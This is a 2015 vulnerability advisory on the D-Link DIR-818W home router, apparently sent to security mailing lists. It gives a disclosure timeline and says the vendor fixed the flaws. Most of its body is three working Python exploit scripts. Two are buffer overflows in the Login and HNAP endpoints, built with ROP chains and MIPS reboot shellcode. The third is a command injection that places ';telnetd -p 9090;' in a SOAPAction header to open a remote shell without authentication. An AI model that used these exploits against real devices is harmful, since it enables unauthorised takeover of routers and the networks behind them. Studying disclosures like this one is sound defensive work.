Dlink DIR-818W Buffer overflows and Command injection in authentication and HNAP functionalities

[samhuntley84@xxxxxxxxx]

## Advisory Information

Title: DIR-818W Buffer overflows and Command injection in authentication and 
HNAP functionalities
Vendors contacted: William Brown <william.brown@xxxxxxxxx>, Patrick Cline 
patrick.cline@xxxxxxxxx(Dlink)
CVE: None


Note: All these security issues have been discussed with the vendor and vendor 
indicated that they have fixed issues as per the email communication. The 
vendor had also released the information on their security advisory pages 
http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060, 
http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061

However, the vendor has taken now the security advisory pages down and hence 
the information needs to be publicly accessible so that users using these 
devices can update the router firmwares.The author (Samuel Huntley) releasing 
this finding is not responsible for anyone using this information for malicious 
purposes. 

## Product Description

DIR-818W -- Wireless AC750 Dual Band Gigabit Cloud Router. Mainly used by home 
and small offices.

## Vulnerabilities Summary

Have come across 3 security issues in DIR-818W firmware which allows an 
attacker to exploit command injection and buffer overflows in authentication 
adn HNAP functionality. All of them can be exploited by an unauthentictaed 
attacker. The attacker can be on wireless LAN or WAN if mgmt interface is 
exposed to attack directly or using XSRF if not exposed.

## Details

Buffer overflow in auth 
----------------------------------------------------------------------------------------------------------------------
import socket
import struct

#Reboot shellcode in there
'''
2096 after id GET param, you can control the RA
'''

buf = "GET /dws/api/Login?id="
buf+="A"*2064+"AAAA" #S0 # uclibc system address
buf+="\x2A\xAF\xD0\x84" #S1 -- ROP2 (Pulls Sleep address from S2 which is also 
stored there before, loads SP+36 is filled in RA with ROP3 and calls Sleep)
buf+="\x2A\xB1\x4D\xF0" #S2 -- points to Sleep in library
buf+="\x2A\xB1\x4D\xF0" #JUNK S3
buf+="\x2A\xB1\x4D\xF0" #JUNK S4
buf+="\x2A\xB1\x4D\xF0" #JUNK S5
buf+="\x2A\xB0\xDE\x54" # S6 filled up with pointer to ROP4 which is ultimate 
mission
buf+="\x2A\xB1\x4D\xF0" #JUNK S7
buf+="\x2A\xAC\xAD\x70" # RETN address -- ROP1 (fills a0 with 3 for sleep and 
s1 is filled before with ROP2 address which is called)
buf+="C"*36 # 
buf+="\x2A\xAC\xD5\xB4" # ROP3 (Fills in S4 the address of SP+16 and then jumps 
to ROP4 which calls SP+16 stored in S4)
buf+="E"*16
buf+="\x3c\x06\x43\x21\x34\xc6\xfe\xdc\x3c\x05\x28\x12\x34\xa5\x19\x69\x3c\x04\xfe\xe1\x34\x84\xde\xad\x24\x02\x0f\xf8\x01\x01\x01\x0c"
 #Reboot shellcode Big endian 
buf+="Y"*120 
buf+="&password=A HTTP/1.1\r\nHOST: 192.168.1.8\r\nUser-Agent: 
test\r\nAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nConnection:keep-alive\r\nContent-Length:5000\r\n\r\nid="+"A"*5000+"\r\n\r\n"
 
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.90", 80))
s.send(buf)

----------------------------------------------------------------------------------------------------------------------


Buffer overflow in HNAP
----------------------------------------------------------------------------------------------------------------------
import socket
import struct

'''
548 characters after 
SOapaction:http://purenetworks.com/HNAP1/GetDeviceSettings/ should work, 
although sprintf copies twice so only 242 characters are required including 
/var/run and /etc/templates/hnap which is concatenated with your string to 
create 548 characters
'''

buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 192.168.1.8\r\nUser-Agent: 
test\r\nContent-Length: 
1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX"; + 
";sh;"+"B"*158
buf+="\x2A\xAF\xD0\x84" #S1 -- ROP2 (Pulls Sleep address from S2 which is also 
stored there before, loads SP+36 is filled in RA with ROP3 and calls Sleep)
buf+="\x2A\xB1\x4D\xF0" #S2 -- points to Sleep in library
buf+="AAAA"+"AAAA"+"AAAA" #s3,s4,s5 JUNK
buf+="\x2A\xB0\xDE\x54" # S6 filled up with pointer to ROP4 which is ultimate 
mission
buf+="AAAA" #s7 JUNK
buf+="\x2A\xAC\xAD\x70" # RETN address -- ROP1 (fills a0 with 3 for sleep and 
s1 is filled before with ROP2 address which is called)
buf+="C"*36
buf+="\x2A\xAC\xD5\xB4" # ROP3 (Fills in S4 the address of SP+16 and then jumps 
to ROP4 which calls SP+16 stored in S4)
buf+="C"*16
buf+="\x3c\x06\x43\x21\x34\xc6\xfe\xdc\x3c\x05\x28\x12\x34\xa5\x19\x69\x3c\x04\xfe\xe1\x34\x84\xde\xad\x24\x02\x0f\xf8\x01\x01\x01\x0c"
 #Reboot shellcode Big endian 
buf+="B"*28+"\r\n" + "1\r\n\r\n"
 
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.90", 80))
s.send(buf)

----------------------------------------------------------------------------------------------------------------------

Command injection 
----------------------------------------------------------------------------------------------------------------------
import socket
import struct

# CSRF or any other trickery, but probably only works when connected to network 
I suppose for v2.02

buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 10.0.0.90\r\nUser-Agent: 
test\r\nContent-Length: 
1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX"; + ';telnetd 
-p 9090;\r\n' + "1\r\n\r\n"
 
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.90", 80))
s.send(buf)

----------------------------------------------------------------------------------------------------------------------

## Report Timeline

* April 26, 2015: Vulnerability found by Samuel Huntley and reported to William 
Brown and Patrick Cline.
* July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the 
vendor
* Nov 13, 2015: A public advisory is sent to security mailing lists.

## Credit

This vulnerability was found by Samuel Huntley (samhuntley84@xxxxxxxxx).